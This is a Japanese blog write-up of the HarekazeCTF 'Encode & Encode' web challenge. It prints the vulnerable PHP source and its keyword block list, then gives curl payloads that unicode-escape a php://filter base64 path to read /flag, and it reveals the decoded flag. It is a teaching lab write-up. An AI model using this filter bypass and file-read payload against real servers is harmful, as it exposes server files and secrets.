harekazeCTF encode_and_encode
こんにちは。グレープ粗茶です。 下書きにおいたままの記事を掘り返してきました。 今回は、dockerでローカル環境上にweb問題のサーバーを構築できるようにしているharekazeCTFの問題を解きました。
事前準備
- githubにて与えられたDockerFileを使いサーバーを立てる。
- docker-machine ipでサーバーのローカルipを知る。
- そのipに対してpingコマンドで反応があるかを調べる。
問題
[Web 100] Encode & Encode
Description
つよいWAFを作りました! これならフラグは読めないはず!
I made a strong WAF, so you definitely can't read the flag!
http://(redacted)
(server/Dockerfile)
- encode-and-encode.tar.xz
solution
まずは、普通にサーバーipに対してブラウザで接続する。 また、与えられたtar.xzを解答すると、サーバーのhtmlとphpのソースコードを閲覧することができた。 すると、このindex.htmlはPOSTでどこのページを拾うかを決めて、contentを拾ってくるようになっている事が分かる。
また、与えられたDockerfileを見ると、flagが/flagにあることが分かる。
FROM php:7.3-apache COPY ./php.ini $PHP_INI_DIR/php.ini COPY ./chall /var/www/html RUN echo "HarekazeCTF{<redacted>}" > /flag EXPOSE 80
source code
<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); $json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
query.phpで行われる処理
- 禁止ワードを定めて弾く
- ポストでpageがなかったら弾く
- 拾ってきたコンテンツにHarekazeCTFが含まれていたら弾く
query.phpでの問題点
$bodyに対して禁止ワードのチェックを行い,json_decodeした$jsonに対しては禁止ワードが存在するかどうかを確認していないこと つまり、 jsonデコードした後に禁止ワードを見極めていない!
flag取得手順と対策回避
二回回避するからencode_and_encodeなんだなぁ~(圧倒的KONAMI)
is_valid回避
postで\flagをを送ればよい。その際にunicodeへと変換する・ Unicode文字ツール \flag →\u002F\u0066\u006C\u0061\u0067
$ curl -d '{"page":"\u002F\u0066\u006C\u0061\u0067"}' http://localIP/query.php {"content":"HarekazeCTF{<censored>}\n"}
これで、is_validは回避できた。 次はcontentを取得する際に入る検閲を回避する。
preg_replace回避
この関数は、あるパターンに適合すると文字列を置き換える関数であった。 【PHP】正規表現で置換するpreg_replace【サンプルコード付き】 - Qiita
以上のことから、contentを何かでエンコードして取得すればよい。
最終的に自分で一回でコード作業をする。 そのために変換フィルタを用いる。 PHP: php:// - Manual
つかえるフィルタ (PHP: 利用できるフィルタのリスト - Manual) base64への変換 PHP: 変換フィルタ - Manual
ここでbase64にflagを変換してpreg_replaceを回避できるようになる。 php://filter/convert.base64-encode/resource=/flag これでフラグをbase64へと変換した状態で取得できる。
base64のフラグを取得
上二つから、php://filter/convert.base64-encode/resource=/flagをunicodeに変換する。
\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067
これでis_validとpreg_replaceを回避できる。
$ curl -d '{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}' http://192.168.99.100/query.php {"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}
これをデコードする。
$ echo 'SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=='|base64 -d HarekazeCTF{turutara_tattatta_ritta}
おわり。